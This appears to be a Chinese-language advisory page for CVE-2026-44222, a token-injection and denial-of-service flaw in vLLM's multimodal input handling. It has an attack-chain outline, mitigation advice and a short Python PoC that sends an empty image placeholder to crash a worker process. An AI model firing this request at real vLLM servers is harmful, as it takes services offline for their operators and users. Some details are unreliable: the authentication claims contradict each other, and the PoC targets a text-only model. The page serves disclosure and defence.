IPBUF安全漏洞报告
English
CVE-2026-44222 CVSS 6.5 中危

CVE-2026-44222 vLLM Token注入漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-44222
漏洞类型
Token注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
vLLM

相关标签

Token注入拒绝服务vLLMLLMCVE-2026-44222

漏洞概述

vLLM是一个大型语言模型推理引擎。在0.6.1至0.20.0之前的版本中,其多模态处理模块存在Token注入漏洞。攻击者无需认证,可通过发送包含特殊Token的纯文本提示词,欺骗系统将其解释为控制指令。此外,如果提供的图像或视频占位符缺少匹配数据,会导致系统在计算输入位置时索引空网格,触发未处理的IndexError异常,从而导致工作进程终止或服务可用性降级。

技术细节

该漏洞源于vLLM在处理多模态输入时对Token验证的不严格。在受影响版本中,系统错误地将文本中拼写的特殊Token当作控制指令处理,导致Token注入。利用原理在于,攻击者构造恶意的HTTP请求,向vLLM服务端发送精心设计的文本提示词。当系统中包含未匹配数据的图像或视频占位符序列时,vLLM在调用`image_grid_thw`或`video_grid_thw`进行输入位置计算时,尝试访问空的数据网格。由于代码缺乏对数组越界的检查,引发了`IndexError`异常。由于该异常未被捕获,导致Worker进程崩溃,从而实现拒绝服务攻击。攻击者无需用户交互,仅需网络访问权限即可利用此漏洞。

攻击链分析

STEP 1
1. 侦察
攻击者识别互联网上暴露的vLLM服务端点。
STEP 2
2. 武器化
攻击者构造包含特殊Token或缺失数据的图像/视频占位符的恶意提示词。
STEP 3
3. 传递
攻击者向vLLM API发送带有恶意负载的HTTP POST请求。
STEP 4
4. 利用
vLLM处理多模态输入时,尝试索引空网格导致未处理的IndexError。
STEP 5
5. 影响
Worker进程崩溃,导致服务拒绝响应,可用性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target URL (Example) url = "http://target-vllm-instance:8000/v1/chat/completions" # Malicious payload containing an image placeholder without actual image data # This attempts to trigger the IndexError in the multimodal processing path payload = { "model": "meta-llama/Llama-2-7b-chat-hf", "messages": [ { "role": "user", "content": [ {"type": "text", "text": "Analyze this image:"}, # Sending an image type with empty/missing data to trigger the bug {"type": "image_url", "image_url": {"url": "data:image/jpeg;base64,"}} ] } ], "max_tokens": 50 } try: response = requests.post(url, headers={"Content-Type": "application/json"}, data=json.dumps(payload)) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Request failed: {e}")

影响范围

vLLM 0.6.1 至 0.20.0 之前

防御指南

临时缓解措施
建议尽快升级至修复版本。若无法立即升级,应通过防火墙限制vLLM API的访问来源,并部署监控机制以检测服务异常崩溃情况。同时,可在应用层面对输入Prompt进行清洗,移除包含特殊控制字符或格式错误的媒体占位符。

参考链接